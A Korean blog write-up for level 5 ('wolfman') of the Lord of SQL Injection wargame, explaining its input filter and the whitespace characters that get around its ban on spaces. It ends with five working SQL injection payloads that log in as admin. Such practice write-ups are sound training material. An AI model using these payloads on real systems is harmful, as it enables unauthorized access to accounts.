쉽고 깔끔하게

[LOS ; Lord of SQL Injection] 5번 wolfman 문제풀이 본문

WebHacking/LOS

[LOS ; Lord of SQL Injection] 5번 wolfman 문제풀이

찐무 2022. 3. 15. 15:32
728x90
반응형


문제

https://los.rubiya.kr/chall/wolfman_4fdc56b75971e41981e3d1e2fbe9b7f7.php


풀이

  • preg_match($pattern, $subject, [, $matches]) : 문자열 안에서 특정한 정규식 패턴의 존재 여부를 찾는데 유용한 함수

- $pattern : 문자열로 검색할 패턴

- $subject : 입력 문자열

- [$matches] : 사용 시 패턴에 매치되는 내용을 배열에 담아둠

 

따라서 얻을 수 있는 정보로는 pw의 입력 값 필터링 규칙으로 다음과 같은 정보를 필터링한다는 것이다.

1) prob

2) _

3) .

4) ( )

5) space (공백)

 

이전의 문제들과는 달리 space(공백)을 필터링하고 있다. 따라서 공백을 대체할 다음과 같은 문자들을 사용하면 문제를 해결할 수 있을 것이다.

문자 16진수(Hex)
tab %09
line feed %0a
vertical tab %0b
form feed %0c
carriage return %0d

 

id를 admin으로 만들게 되면 문제를 해결할 수 있으므로 표의 공백 대체 문자들을 이용하여 쿼리문을 작성하게 되면 다음과 같다.

 

  • %09(tab)을 이용한 정답

▶︎ pw='%09or%09id='admin'%23

 

  • %0a(line feed)을 이용한 정답

▶︎ pw='%0aor%0aid='admin'%23

 

  • %0b(vertical tab)을 이용한 정답

▶︎ pw='%0bor%0bid='admin'%23

 

  • %0c(form feed)을 이용한 정답

▶︎ pw='%0cor%0cid='admin'%23

 

  • %0d(carriage return)을 이용한 정답

▶︎ pw='%0dor%0did='admin'%23

728x90
반응형